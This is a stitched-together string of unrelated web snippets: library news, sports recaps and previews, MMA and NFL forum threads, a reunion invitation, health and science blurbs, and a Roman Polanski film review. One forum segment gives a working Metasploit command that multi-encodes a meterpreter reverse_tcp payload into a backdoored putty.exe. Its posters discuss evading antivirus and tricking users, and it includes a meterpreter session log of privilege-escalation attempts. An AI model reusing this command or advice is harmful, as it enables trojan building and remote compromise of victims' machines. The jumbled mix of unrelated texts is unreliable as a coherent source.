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Events will take place through October to celebrate Fond du Lac Reads: Ready Player One. To view the schedule online, go to the Calendar.
Area artists are invited to submit pieces for a themed exhibit, Versions of Reality, at the Fond du Lac Public Library in October.
Summer is winding down and beach season is almost over. In a feeble attempt to hold on to those last days of summer I grabbed On the Rocks by Erin Duffy off of the new fiction shelves. The cover picture displays what looks like a tranquil afternoon spent on the beach, but this book was anything but tranquil. On the Rocks is a well written and highly amusing look at one woman's attempt to put her life back together after a very public breakup - via Facebook.
Sweetness #9 by Stephan Eirik Clark is a satirical debut novel about the food additives industry. In 1973 David is a young flavor chemist or flavorist hired by a big company to research an artificial sweetener called Sweetness #9. He notices that the lab rats and monkeys being fed Sweetness #9 are becoming obese and showing behavioral problems. Before he gets very far with his concerns, he is fired.
Summer in Fond du Lac is full of boating, biking, picnicking, gardening. Add to the list: reading. Lots and lots of reading.
Being a true Southerner means keeping up appearances at all costs. As a result, many Southern couples put on pretenses and sometimes lead double lives. In The Stories We Tell by Patti Callahan Henry, Eve and Cooper Morrison are that golden couple, seemingly leading the ideal life as the cream of Savannah society. But, things are not always as they seem. This powerful novel about the value of truth focuses on the Morrison family and the one night that changed the dynamics of their family forever.
Leaves are turning, kids are going back to school and the Fond du Lac Public Library unveils great fall programs for kids.
Members of the Wisconsin Visual Artists Northeast Chapter will exhibit their works in the Fond du Lac Public Library Langdon Divers Gallery from September 4 through October 1.
Marian University's History program is offering three stand-alone classes at the Fond du Lac Public Library this fall, one each in September, October and November. The classes – all at 6 p.m. – are free and open to the public; no registration required.

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text: Background Note | HBS Case Collection | December 2010 (Revised September 2014) Layoffs: Effects on Key Stakeholders Sandra J. Sucher, Elana Sara Green, David Alberto Rosales and Susan J. Winterberg From 2004-2009, almost 40,000 mass layoffs occurred in the US, representing over 7 million workers. This note describes the effects of layoffs on employees, firms, and communities. Keywords: Restructuring; Decisions; Employees; Resignation and Termination; Business and Stakeholder Relations; United States; Citation:Sucher, Sandra J., Elana Sara Green, David Alberto Rosales, and Susan J. Winterberg. "Layoffs: Effects on Key Stakeholders." Harvard Business School Background Note 611-028, December 2010. (Revised September 2014.) View Details CiteView DetailsEducatorsPurchase Related


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Factors that increase the risk for prostate cancer:
After 50 years old, the risk of developing prostate cancer increases. However, the majority of prostate cancers are seen in men over age 65.
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In the US, African Americans have higher rates of developing prostate cancer. They are also more likely than Caucasian men to die from prostate cancer.
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That's something that should change. Even if those people don't like Crystal Space, they should at least have a chance to evaluate it properly. And perhaps they may learn to like it in the future. Who knows.
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Tell other people. Tell your friends. Tell everyone who might be interested. If you are a student at a university perhaps talk to your teacher or professor. Crystal Space is rather good for using in an academic environment and has even been used at schools and universities several times before.
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From the bookstore take a left. Take either the elevator or stairs at the end of the hallway to the ground floor. When you exit the elevator take a right and the Disability Services Office is the first office on your right. If you exit the stairwell take a left and the office is the first one on your right.
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In support of the college's mission as a public, comprehensive community college, the Office of Disability Services ensures equal access to all campus programs and activities. The office promotes full participation in campus life for individuals with disabilities. Accommodations and support services are provided to students with disabilities who register with the office. Services are provided to assist students in obtaining their academic and personal goals. Assistance is provided in a collaborative way as to empower students to advocate for their needs and assume responsibility for their academic outcomes.


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FT. LAUDERDALE, Fla. – The Saint Leo baseball team nearly erased a three run deficit, but the Lions left two runners on base as the final game ended 6-5 in favor of the 17th ranked Nova Southeastern Sharks. With the win, the hosts swept the three-game Sunshine State Conference series in South Florida.
It was a similar day for the Lions in both ends of the rain-delayed doubleheader as Saint Leo (19-15, 3-9 SSC) held leads in both games.
Game one saw the Lions holding a 2-0 lead as the game moved into the bottom of the third inning before Nova Southeastern (23-6, 8-3 SSC) scored eight straight runs between the third and sixth frames. By the time the Lions managed to push a run across, the game was solidly in the Sharks' favor at 8-3 with just an inning left.
NSU would score another run in the bottom of the eighth to set the final score at 9-3.
In the nightcap, the Lions answered two early NSU runs to score three runs spread across the fourth and fifth innings as all runs were plated on RBI singles.
The game-deciding hit would come courtesy of NSU's Daniel Petitbon, who smacked a fifth-inning three-run homer that allowed the Sharks to take a 6-3 lead on the Lions with just two frames left.
Looking to sail through the final two innings, the Sharks were met with a big challenge when the Lions managed to score two runs in the seventh. SLU put two more runners on base, but a full-count groundout ended things in the host's favor.
Inserted into the lineup for today's games, freshman Bobby Twitty went a combined 4-for-6 with an RBI and a double. Sophomore Chris Newcomb was right behind Twitty with three hits in eight chances, registering three RBI and connecting on a double and a homer.
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In game two Aaron Brandt got the start but did not pick up the decision as reliever Adam Albers (0-1) came on in relief of Brandt when the Sharks took the lead. Kenny Miranda (1-0) picked up the win as he also appeared in relief for NSU.
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Wouldn't hurt to include a link to Metasploit Unleashed at the bottom of the guide to point beginners to the right place to take their followup learning to.
Metasploit Unleashed - Mastering the Framework
So u like to use the truecrypt.exe nice lol one of a few that work nice.
For a great tutorial series on metasploit complete google metasploit megaprimer securitytube, best ive seen.
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Wouldn't hurt to include a link to Metasploit Unleashed at the bottom of the guide to point beginners to the right place to take their followup learning to.
Metasploit Unleashed - Mastering the Framework
Actually the -k option is what I am specifically referring to with my backdooring comment. As this is a client side attack, tricking/social engineering the user is everything so keeping your the backdoored exe working can be key sometimes. Not all executables work as templates with the -k option or possibly even as templates in the first place.
Also bear in mind that this example code here did not pass my current avast. I am moving this week and don't have time to re-work the encoding so it does. It did formerly, however the executable made with this multi-encoding command string has been uploaded to virustotal for testing, as really the command was simple for testing the workings of running multiple encoders. I also developed this particular string some time ago.
The code in this case is simply an example that yes multiple encoders can still be used when backdooring an exe and even still keeping template exe working.
Again, when running it with this post Avast did detect the exe and disposed of it. With avast off I am able to get a meterpreter session started. Of course modify ip address and port as needed.Code:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.25.26 LPORT=1417 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 4 -t raw | msfencode -e x86/fnstenv_mov -c 5 -t raw | msfencode -e x86/countdown -c 4 -t raw | msfencode -e x86/shikata_ga_nai -c 16 -t exe -x /root/putty.exe -k -o /root/putty-backdoored.exe
i know this question lies totally out of the topic.. but do the classic metasploit payloads and exploits work for win7 target platforms?
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Hi, very useful tutorial ! I used to use SET for simplicity, but this is just great, and not that hard
I have some questions though :
- everything is running smooth when on the same network, but how can I use it via internet ? I have two networks, two PCs. When I try this, but using my public IP, it just fails and metasploit binds to 0.0.0.0... I tried allowing connections from outside through specific ports in my router, but same result...
Any idea people ?
Edit : never mind my post, it's running all smooth ! And I didn't know 0.0.0.0 meant all interfaces. As for not working forwarding port, it was just some router FW i got rid of, and it was the good way to do it !
I didnt think getsystem works on x64 for windows 7? I also have just a lot of BSOD in my testing with getting system privs... I dont understand how you did that?
I dont see this even working on a x32
update: this is UAC blocking access, with UAC disabled this is no longer an issue I am still stuck on how to disable UAC..?Code:meterpreter > sysinfo Computer: WIN-MSUB6TKFKFA OS : Windows 7 (Build 7600, ). Arch : x86 Language: en_US meterpreter > ps ... 608 explorer.exe x86 1 WIN-MSUB6TKFKFA\user C:\Windows\Explorer.EXE meterpreter > migrate 608[*] Migrating to 608...[*] Migration completed successfully. meterpreter > getprivs ============================================================ Enabled Process Privileges ============================================================ SeShutdownPrivilege SeChangeNotifyPrivilege SeUndockPrivilege meterpreter > getsystem -t 1 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 2 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 3 [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > getsystem -t 4 ^C[-] Error running command getsystem: Interrupt
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Very good tut and thanks for sharing this nice work.
Hi everyone. I'm italian so my english isn't correct xD
So... i've a problem with meterpreter: when i create it it's ok.
in lhost i set my external address and in the msfconsole my internal address but when in an other computer (it isn't in my lan) open the file nothing appends, msfconsole receives nothing. Why?
I do all correctly but... i don't know.
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'While NHL officials have downplayed the likelihood of the Sabres changing hands on Thursday, the league remains under intense pressure to assume ownership quickly – before Adelphia is forced into bankruptcy. The league then would sell the team to a new ownership group.'
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For Overeem's sake i hope they dont. IMO there's zero worthwhile match ups for him outside of the UFC. Personally i think they should start him afresh and build him up all again.
Give him someone down the rankings with name recognition to start with that he could spark but still be able to promote as if it would be a war. Someone like Barry or Schaub.
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He hasn't respected either fighter in his last 2,so I say give I'm Frank Mir or Big Nog,he loses he's cut,he wins and hel start to climb back up the rankings
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Can't fight Mir, Mir is fighting Barnett has should be cut when he loses because he's looked shit in his previous 2.
Here is my long winded take:
He was something like 10 or more lbs less this fight, because he worked his ass off with Big Mike and got some oomph back but he was legitimately beaten by Travis who is a decent all rounder and tough guy.
His loss against Bigfoot was a total failure.
If he keeps training hard, he'll keep losing weight and he'll have to accept an obvious loss of face (because of his physique change) but increase his chances of winning through hard work.
Or he'll get caught juicing one more time and get cut, or he'll retire.
Bets please...
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Agree with that... just cos Joe Rogan says that he isnt showing his oppo any respect it doesnt actually mean its true, he was all over Browne, (who is a legit beast), till he got got caught with a quality kick, he just doesnt seem to take shots that well.
Gotta come up with a big performance in his next one
Tesco find horsemeat in burgers and ban it, Overeem starts losing mass and losing fights....
Sig awaiting witty quote from someone.
Guys do you think he was just hype? He beat Brock who was there for the taking lets be honest here I think his best chance is either cutting to LHW or joining another promotion continue making a living and be a champion.
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'Rolling Stone' names best albums and songs of 2012
As 2012 comes to a close, Rolling Stone magazine has hand-picked the 50 best albums and 50 best songs of the year, in their newest issue. The magazine gave Bruce Springsteen the honor of "Best Album of 2012" for Wrecking Ball, while the Alabama Shakes took the top spot for their song "Hold On." Find out who else made the cut:
Best Albums of 2012
- Bruce Springsteen, 'Wrecking Ball
- Frank Ocean, 'Channel Orange'
- Jack White, 'Blunderbuss'
- Bob Dylan, 'Tempest'
- Fiona Apple, 'The Idler Wheel Is Wiser…"
Complete list: http://www.rollingstone.com/music/lists/50-best-albums-of-2012-20121205
Best Songs of 2012
- Alabama Shakes, 'Hold On'
- Taylor Swift, 'We Are Never Ever Getting Back Together'
- Passion Pit, 'Take a Walk'
- Frank Ocean, 'Thinkin Bout You'
- Neil Young and Crazy Horse, 'Ramada Inn'
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Artist's BiographyMatt Vashlishan is currently located in the northeast Tri-State area, where he is actively developing his replutation as a freelance musician and educator. Originally from the Pocono Mountains of Pennsylvania, Matt grew up around many notable jazz artists such as David Liebman, Phil Woods, Urbie Green, and others. He uses this unique influence regularly in his playing as well as teaching.
Matt's performance experience includes performing with artists such as Phil Woods, David Liebman, Vic Juris, Ian Froman, Bill Goodwin, Phil Markowitz, Bruce Hornsby, Michael Feinstein, Dave Grusin, Patty Austin, Nester Torres, and many others. His large ensemble credentials include the Phil Woods Big Band, Dave Rivello Ensemble, Alan Baylock Orchestra, Florida Pops, the Charles Tolliver Big Band, and the Stephen Guerra Big Band.
Aside from jazz performance in saxophone (alto, soprano, C-Melody, and tenor specifically), Matt also plays flutes, clarinet, and the Akai Electric Wind Instrument. He has performed in the orchestra for several musicals and has toured the world performing on four different cruise ships.
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CCHS Class of '83 (& Friends '81-86) 30th Reunion Main Event - Yacht Party!
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We are all 30 years older, wiser, with better stories to tell!
* Friday, July 19th 8:00 pm - Informal get together at the bar at the Culver Hotel (9400 Culver Blvd in downtown Culver City). No cover charge, no minimum.
* Sunday, July 21st 10:00 am to 4:00 pm - Family picnic at Vet's Park (4117 Overland Ave at Culver Blvd.). No charge, bring your own food (and kids!).
On behalf of the Class of '83, we would like to cordially invite all of our high school friends from the Classes of '81 to '86 (and their significant others) to our 30 year reunion aboard the largest yacht in the Hornblower fleet for an amazing 4-hour party!
- The yacht is 145 feet long with 2 climate controlled decks plus an open top deck for fresh air.
- A delectable selection of hot & cold hors d'oeuvres will be presented on serving tables as well as hand passed on serving trays by yacht stewards.
- 80's background music will be played throughout the evening.
- Teachers & administrators who worked at Culver High during the 1982-83 school year are invited to attend as our guests!
- Cash bars will be available with a selection of alcoholic and non-alcoholic beverages for sale.
- Boarding begins at 7:30 pm.
- The event starts at 8:00 pm, but the yacht will remain docked in the marina until at least 8:45 pm. (Sorry, no refunds for no shows or late arrivals.)
- The yacht will cruise around the calm waters of Marina del Rey for approximately 2 hours from 9:00 pm to 11:00 pm.
- The event ends at 11:45 pm.
- Casual cocktail party attire recommended.
Note: Please bring your parking ticket to the event for a free 2-hour parking validation.
All tickets are non-refundable, but they are fully transferable until June 30th.
Tentative Menu (subject to change)
Local and Artisan Cheese Display, Dried Fruit, Nuts
Seasonal Grapes and Berries
Flat Breads, Crackers, Parmesan Crostini and Bread Sticks
Artichoke and Spinach Gratin served with Toasted Pita Chips
Cashew Chicken Spring Roll with Mango Chili Sauce
Bacon-Wrapped Scallops with Maple-Dijon Glaze
Korean Beef Skewers with Sweet Chili Sauce
Poached Prawns with Wasabi Cocktail Sauce
Exotic Mushroom-Boursin Cheese Crostini
Chocolate Walnut Brownies & Mini-Cheesecakes
Half Price "Angel" Ticket Program
Several classmates were concerned that there might be some classmates who would not be able to attend the reunion because they just can't afford it. We wanted to create a donation program to help out these fellow classmates, and make it easier for them to come. The following two ticket categories were created as a simple way to handle both sides of that process...
1) "Angel" Ticket Donations will help fellow classmates from the Culver High class of '83 who simply cannot afford full price tickets. Each donation will enable one classmate to attend the reunion by purchasing a Half Price "Angel" Ticket. "Angel" Ticket Donations will be accepted until May 31st, but a maximum of 50 ticket donations in total will be accepted for this event. Any "Angel" Ticket Donations not utilized by Half Price "Angel" Ticket buyers by June 30th will be fully refunded, starting with the last donations.
2) The Half Price "Angel" Ticket is available to any member of the Culver High class of '83 (one ticket maximum) who would like to attend the reunion, but simply cannot afford to pay the full price. The cost of this ticket is subsidized by an "Angel" from our class who donated the other half. Only the number of tickets matched by "Angel" Ticket Donations will be available. These tickets will go on sale June 1st at 9:00 am PST.
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13755 Fiji Way
Marina del Rey,
Saturday, July 20, 2013 from 8:00 PM to 11:45 PM (PDT)
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Elegantly detailed materials culminate in lighthearted surprises in this master bath. Architect Nils C. Finne, AIA, chose cool stone and glass to balance a rich fir ceiling, for example, but speced cherry wood cabinets to highlight the use of that wood throughout the rest of the Redmond, Wash., house. Sand-colored limestone tiles cover the floor, but then extend 8 feet up the walls to "create a space within the space," he says, adding that custom glass mosaics in irregular strips on the floor "break up that stone wrapper."
Clever contradictions continue elsewhere in the space. Of note is the custom steam shower Finne designed with alternating clear and sandblasted glass panels to create a "play of translucency and transparency" within. A subtly canted glass ceiling in the shower keeps condensation from dropping onto its occupant. And a pivoting transom above the shower door vents the steam.
Another custom touch takes its cues from the alternating shower panels. The twin mirrors above the vanity are flanked by recessed fluorescent lights covered with sandblasted glass. A blackened steel frame and a strip of cherry wood along the top complete the composition. "The lamps are positioned behind two pieces of sandblasted glass," Finne says of the detail, "for a greater diffusion of light."
architect: Finne Architects, Seattle
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Post subject: After the Bye- Expectations
With one quarter of the season finished, it appears all is not well in the Lion kingdom. How do you predict the Lions will come out after the break? How will they finish off the season? It's interesting to guage our optimism, or skepticism, at various points throughout the calendar year.
At this point I'm willing to count them down for 6 more victories, meaning they'll finish the remainder of the season .500. I think our offense will show great improvement, but I also believe we're still probably in store for a debilitating injury or two.
I hope to see Reiff starting soon, and I expect to see Broyles added to the mix, especially due to the frequent drops from our intermediate threat Pettigrew. I'm willing to bet we'll see Broyles and Jahvid share the same role. I believe Jahvid's carries will be extremely limited- ranging in the 1-5 per game area.
I think what we've seen from our DEs is basically what we should expect, with maybe slightly more production. Going into the season I thought that group was extremely overrated. Their lack of production really hurts our DTs, because they all need to show some sort of effectiveness for either our DEs or DTs to be as productive as they've been in the past.
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We're about to enter the toughest stretch of our schedule, so the bye probably came at a good time. We've got two away games against the Eagles and Bears coming up, then at home against Seattle and their surprisingly great defense. We get Jacksonville after that, but it's quite possible we're looking at going 1-3 in the next quarter, too. They've already dropped two fairly winnable contests, so to get back on track they're going to have to pull off a few improbable wins over some teams that are better than they are.
I don't know if we'll see Reiff out there too much, but Broyles is at least getting on the field in a very limited role, so it's possible they're able to mix him in soon. Problem is, he plays largely the same type of role as Burleson, an he's been one of our best players so far this year. I'm really concerned about Titus Young right now. He's invisible on offense. I really though he'd be turning some heads right about now, but aside from that Hail Mary catch, he's got only 8 catches for 71 yards. That's awful production, especially considering the Lions lead the league in passing yardage at this point.
As for Best, I think they'll probably go ahead and ease him back in, but the Lions' RB situation is about as unpredictable as they come right now. Kevin Smith got almost all the snaps at RB in the first two weeks, then he went two straight games without a single touch when Leshoure returned from suspension. Joique Bell, a longshot to make the roster out of training camp, has become our primary backup. I'd like to see him involved in the passing game--that's where I think he does his best work. He's pretty bad when it comes to running between the tackles. I don't expect his carries will be limited to fewer than 5 per game, though. Maybe somewhere in the 8-12 range, depending on how effective Leshoure proves (are we going to get the Leshoure we saw against Tennessee, or the one we saw against Minnesota?).
I would expect they're going to make special teams a focus going forward. They've been so awful that it seems to me like giving opponents the ball on their 40 is a smarter idea than kicking it to them, especially when we have to contend with guys like Hester or Percy Harvin on a regular basis. Either they change some things up, learn to tackle, or just kick the ball out of bounds as often as possible.
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I expect that these past four weeks have humbled us. And I expect us to play much better football coming out of the break.
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I think you summed it up nicely.
I think the DE's continue to struggle and the secondary continues to be exposed.
I expect to see Broyles more and his targets will be based on Grew's and Young's performance and how many snaps they give Best.
I'm not as optimistic as you with wins and losses.
I think they lose in Philadelphia and Chicago and probably sneak a win against the Seahawks but could lose that as well. They should beat the Jags so after this quarter they could be 2-6 or 3-5. Either way below expectations and a big dissapointment.
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The Lions better get their act together soon or they're going to have some embarrassing games coming up.
LeSean McCoy is going to be the best RB they've faced up to this point unless you consider AP who wasn't at 100% better than him. I want to see how that matchup goes, and I want to see how the Lions secondary matches up with all of their speed at WR/QB.
Beyond that though they have to play GB twice, Andrew Luck who just embarrassed GB, the Bears twice, and two teams that look to be extremely good in Houston and Atlanta. Other than that they play Jax, Minnesota again on the road, Arizona, and Seattle at home. It could get pretty ugly.
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It's not surprising that neuroscientists in the School of Medicine are conducting research on epilepsy, Alzheimer's disease, neuropathic pain, cognition, mood disorders, and other nervous system-related conditions.
But it is extraordinary that all of them are using a similar gene therapy technique to blaze new trails of discovery. It's a technique made possible by a laboratory at the School of Medicine that engineers the key ingredients for gene therapy research used by neuroscientists around the world.
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"We've had these core lab facilities for quite a while, and [lab director] Steve Wilson is recognized as one of the pioneers in developing this technology," said Marlene Wilson (no relation to Steve Wilson), a professor and chair of the Department of Pharmacology, Physiology, and Neuroscience.
Wilson and her colleagues in neuroscience all use common viruses that have been altered in special ways to deliver genetic instructions to a specific target -- either in the brain or the peripheral nervous system. The designer viruses are harmless but effective messengers of genetic material.
The gene transfer technique is allowing the neuroscientists to better understand the biochemical mechanisms associated with certain disorders and diseases. In some instances, they might be able to develop better targets for medications; in other cases, the gene therapy itself might introduce new ways of treating disease.
"There's a lot of effort going on now to make safe viral vectors for human delivery," Wilson said, "It's likely that gene transfer would initially be used for crippling disorders like degenerative diseases, chronic pain, and epilepsy. But it could be on the horizon to treat conditions such as severe anxiety and even depression disorders."


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Nicole Scherzinger will officially be cleansed of her girl group roots. The former Pussycat Doll singer has signed on to star as history's most famous prostitute, Mary Magdalene, in the rock opera "Jesus Christ Superstar," which is set to open this summer at London's O2 arena. Sounds like it will be a spiritual experience. Mary Magdalene was the original hooker with a heart of gold, but click through to see more stars who've taken on this archetypal role. [Gossip Cop]


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Having survived Hitler, the Russian army, Polish thugs, communist bureaucrats, the murder of his wife by Charles Manson's cultists and a stretch in the notorious Chino prison in California, Roman Polanski must have found it odd to be finally undone by the Swiss. After 40 years of visiting Switzerland, including long stays at his house in Gstaad, he was arrested at Zurich airport in September 2009, en route to a film festival at which he was to receive a lifetime achievement award.
The Swiss police acted on a US request to extradite Polanski to face the sentencing he ran away from in 1978, when a media-struck Los Angeles judge threatened to put him away indefinitely for having sex with a 13-year-old girl. He had pleaded guilty on a plea bargain, but the judge appeared to be about to jail him for life, so he left.
Polanski spent the next 32 years in exile in France, safe from US extradition. After two months in jail, the Swiss let him stay in his house in Gstaad, an imposing wooden chalet. Most of this documentary was filmed there, during his 20 months under house arrest. The Swiss courts finally decided in July 2010 not to extradite him to the US.
The interviewer is his former producer, Andrew Braunsberg, a close friend since 1964. He is also the film's producer, so this is an in-house production. The French director, a veteran of ''making of … '' films, had about as much freedom to ask hard questions as Polanski did to nip down the road and buy some chocolates. In effect, it's an advertising film and the product is a Persil version of Roman Polanski. I don't object to that: the man has had so much unfair press that it is as well to hear his version of his life, unadorned and unadulterated, if also unquestioned. Even so, he is pretty candid – not to mention charming, modest, contrite and emotional.
No one has had a life quite like his. Born in Paris in 1933, his parents moved back to Krakow in Poland in 1937, just in time for the war. Because the city was close to the German border, his father sent him and his half-sister to Warsaw for safety, just as the Nazis invaded. Back in Krakow, the family were walled up in the Jewish ghetto. His mother was taken away and killed at Auschwitz. Aged about 10, Polanski crawled in and out of the ghetto through the sewers to steal food. He tells of seeing a Nazi officer shoot an old Jewish woman in the back because she couldn't keep up. He remembers the way the blood flowed from the wound, like water from a bubbler. As his father was being taken away, the young Polanski tried to talk to him. ''He told me to piss off.'' Polanski was protected by two Catholic families, whom his father had paid to look after him.
After the war, he became a teenage radio actor, then a student at the Polish film school. He was initially denied a place because his family did not have the right working-class background. The cultural authorities hated his first film, Knife in the Water (1962). It became a cult hit around the world, largely without him knowing. In Britain in 1965 and '66, he made Repulsion and Cul-de-sac. While working on The Fearless Vampire Killers, he met Sharon Tate.
Polanski has often presented a hard face to the world, but he becomes emotional here, talking about his father, who survived the war, and about the murder of Tate in Los Angeles in August 1969. He was in Europe at the time. Andrew Braunsberg took the early morning call from Polanski's agent in Los Angeles. ''They're all dead,'' said the agent. Despite the distance, suspicion at first fell on Polanski. Hadn't he just made a film about the devil in Rosemary's Baby?
Marina Zenovich's 2008 film Roman Polanski: Wanted and Desired focused on the 1977 unlawful sex case, particularly the judge's actions. This new film gives only enough detail to present doubts about the judge's behaviour. More interesting are the signs of Polanski's remorse about having sex with a 13-year-old girl. There's no mention of the lawsuit she brought against him 11 years after the event, or of the considerable settlement he paid her. There is footage of the woman as an adult, interviewed by Larry King in 2003, during which she says she was much more damaged by the court system and the media than by anything Polanski did to her.
This new film is engrossing, as far as it goes. It does not pretend to analyse Polanski as a filmmaker and is about as objective as you would expect from a close friend, but there is a certain immediacy in the way Polanski responds to a camera. That a man who has survived so much catastrophe can still call himself an optimist is quite remarkable.
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13/15 K-State Plays Host To Iowa State Saturday
Feb. 8, 2013
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Game 23
13/15 Kansas State (18-4, 7-2 Big 12) vs. Iowa State (16-6, 6-3 Big 12)
Saturday, February 9, 2013 * 5:05 p.m. CT
Manhattan, Kan. * Bramlage Coliseum (12,528)
Television: ESPN2 (ESPN Full Court)
Mark Neely (play-by-play); Chris Piper (analyst)
Internet: www.ESPN3.com and WatchESPN
Available on Time Warner, Comcast, Verizon and Brighthouse
Radio: K-State Sports Network
Wyatt Thompson (play-by-play); Stan Weber (analyst)
Satellite Radio: Sirius 91/XM 91 (home broadcast)
Live Stats: http://www.kstatesports.com/multimedia/ksu-gt-live-stats.html
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Twitter Updates: twitter.com/kstate_gameday
vs. Big 12: K-State trails 443-451 (242-162 at home)
vs. Iowa State: K-State leads 135-80 (78-25 at home)
Last Meeting: Iowa State won 73-67 (1/26/2013 in Ames)
13/15 Kansas State (18-4, 7-2 Big 12)
Head coach: Bruce Weber (Wisconsin-Milwaukee '78)
School Record: 18-4 (1st season) * Career Record: 331-159 (15th season) * vs. Iowa State: 1-1
Iowa State (16-6, 6-3 Big 12)
Head coach: Fred Hoiberg (Iowa State '95)
School Record: 55-33 (3rd season) * Career Record: 55-33 (3rd season) * vs. K-State: 3-2
No. 13/15 Kansas State (18-4, 7-2 Big 12) returns to the friendly confines of Bramlage Coliseum on Saturday afternoon, as the Wildcats play host to Iowa State (16-6, 6-3 Big 12) at 5 p.m. in a match-up of two of the Big 12's top teams. The game will be broadcast nationally on ESPN2 with Mark Neely (play-by-play) and Chris Piper (analyst) on the call. Fans are encouraged to bring toilet paper, paper towels and trash bags to Saturday's game for the third annual "Tipoff for TP" event, which benefits the Manhattan Emergency Shelter for those in need in the Manhattan community. Riding a three-game winning streak at the midway point of the conference schedule, K-State finds itself in a first-place tie with No. 5/5 Kansas (19-3, 7-2 Big 12) with a 7-2 league record, just one game ahead of Iowa State and No. 22/24 Oklahoma State (16-5, 6-3 Big 12), who sit in a tie for third place with 6-3 marks. The Wildcats, which has won 13 of their last 14 home games, including 12 of their 13 games at Bramlage Coliseum, have won three in a row since a 73-67 loss in the first meeting with the Cyclones at Hilton Coliseum on Jan. 26. The game will pit the Big 12's top scoring offense (Iowa State - 78.7 ppg.) against the league's top scoring defense (K-State - 57.8 ppg.).
Prior to Saturday's game, there will be a special remembrance to the Bramlage Family. Last June, the university was devastated by the news of a plane crash that claimed the lives of alumni Ron and Becky Bramlage and their children, Brandon, Boston, Beau and Roxanne. Ron was the grandson of Fred Bramlage for which Bramlage Coliseum was named. Family members will present a portrait of the family, which will be permanently displayed in the Legends Room near the portrait of Fred Bramlage.
K-State moved up in both major polls on Monday, jumping five spots to No. 13 in The Associated Press Top 25 poll and six spots to No. 15 in the USA Today Coaches poll. It marks the seventh straight week that the Wildcats have been ranked in the AP poll, while the No. 11 ranking on Jan. 21 was the highest in the AP poll since also placing 11th on Dec. 20, 2010. The program has now been ranked in the AP poll at least one week in each of the last four seasons. K-State is 247-93 (.726) all-time as a ranked team.
Iowa State (16-6, 6-3 Big 12) has won three of its last four games, including consecutive home wins against Baylor (79-71) and Oklahoma (83-64), which raised its home winning streak to 20 games. The Cyclones pace the Big 12 in five categories, including scoring offense (78.7 ppg.), 3-point field goal percentage (36.2), 3-point field goals (9.1), assists (16.3) and rebounding (40.1), while they are holding foes to 67.4 points on 41.1 percent shooting. Senior Will Clyburn (15.2 ppg.) paces four Cyclones in double figures, while Big 12 Sixth Man of the Year candidate Tyrus McGee (12.2 ppg.), freshman Georges Niang (11.5 ppg.) and junior Melvin Ejim (10.2 ppg.) all average in twin figures. Ejim nearly averages a double-double with the Big 12's No. 2 average of 9.3 rebounds per game. Senior Korie Lucious ranks third in the Big 12 in assists (5.6 apg.) to go with 9.5 points per game. Head coach Fred Hoiberg is in his third season at his alma mater, posting a 55-33 record. He is 3-2 as a head coach vs. K-State.
Will Clyburn collected a double-double, including a game-high 24 points, as Iowa State extended its homecourt winning streak with a 73-67 win over Kansas State in the teams' last meeting on Jan. 26. The Cyclones scored an opponent-high 73 points with 11 3-pointers to offset a solid offensive effort by the Wildcats, who shot 50.9 percent from the field, including 64 percent in the second half. ISU controlled the glass, out-rebounding K-State, 35-28, and posting an 18-2 advantage in second-chance points. Junior Will Spradling led three players in double figures with 15 points, including a career-tying four 3-pointers.
This will be the 216th meeting between K-State and Iowa State with the Wildcats holding a 135-80 lead in a series that dates back to 1909. The 216 meetings are the fourth-most against one opponent (trailing Kansas, Missouri and Nebraska), while the 135 wins are the most against one opponent. The Wildcats hold a slight 17-16 edge since the start of Big 12 play, which includes an 11-5 mark at home. K-State has a 78-25 record at home in the series, including a 17-7 at Bramlage Coliseum. The Cyclones have won four of its last six meetings (three straight), including two of the last three games in Manhattan. Head coach Bruce Weber is 1-1 in his career vs. Iowa State, which includes a 66-57 win by his SIU team on Nov. 22, 2001 at the Las Vegas Invitational.
--Kansas State's 18-4 start ties the 2009-10 team for the sixth-best start in school history and the best in the last 50 seasons after 22 games. The 1958-59 team posted the best start after 22 games (21-1), while the 1957-58 and 1961-62 squads were just one game back at 20-2 and the 1947-48 and 1950-51 teams were 19-3. The 7-2 start to Big 12 play ties two others for the best since the league's inception in 1997 and the best since the 2007-08 team also went 7-2. The team saw their season-best eight-game winning streak end at No. 3/2 Kansas on Jan. 22, which was the longest winning streak since the team won 10 in a row from Nov. 21, 2009 to Jan. 3, 2010. Three of the team's four losses are to current Top 10 teams in No. 3/3 Michigan, No. 5/5 Kansas and No. 6/6 Gonzaga. The team faced three Top 15 teams (No. 4 Michigan, No. 14 Gonzaga and No. 8 Florida) in non-conference play for the first time in school history. K-State posted double-digit non-conference games for the seventh straight season, including its first regular-season Top 10 non-conference win (No. 8 Florida) since 1981. The team's strength of schedule is 69th by ESPN.com.
--Bruce Weber's 18-4 record is the second-best start by a first-year K-State head coach in the program's 109-year history with only Zora Clevenger (15-2, 1916-17) posting a better mark. The best campaign by a first-year head coach is still held by Clevenger, who led the Wildcats to a 15-2 (.882) mark in his inaugural season in 1916-17. The eight-game winning streak was the second-longest by a first-year coach and the longest since Clevenger's 1916-17 squad ended the year with 13 straight wins from Jan. 25 to March 6, 1917. Clevenger made most of his impact on the gridiron, where he was later inducted into the College Football Hall of Fame.
--K-State is having a terrific start to the 2012-13 athletics season, as the Wildcats have one of the best records among BCS schools when combining football and men's and women's basketball. As of Thursday, the school's 41 wins tie for 17th nationally and its .719 winning percentage (41-16) places 20th. K-State is one of 20 schools (along with Big 12 brethren Baylor, Oklahoma and Oklahoma State) with 40+ combined wins among its three major sports. If you take into account the success of the volleyball team, which won 20 matches and advanced to NCAA Tournament, the Wildcats are 62-25 (.713) since August 24.
--K-State has built a solid resume, as the Wildcats boast a No. 24 RPI in the latest NCAA rankings. The squad is one of six Big 12 schools in the Top 50 of the NCAA RPI, including Kansas (6), Oklahoma (22), Oklahoma State (31), Iowa State (40) and Baylor (49). K-State is one of just four teams with four wins over Top 35 RPI teams, along with Kansas, Indiana and Miami (Fla.).
--The Wildcats have been one of the top teams in the country in February the last five seasons, posting a 27-6 (.818) mark in the month since the 2008-09 season, including a 13-3 mark at home. The teams was a combined 14-1 in February from 2009-11.
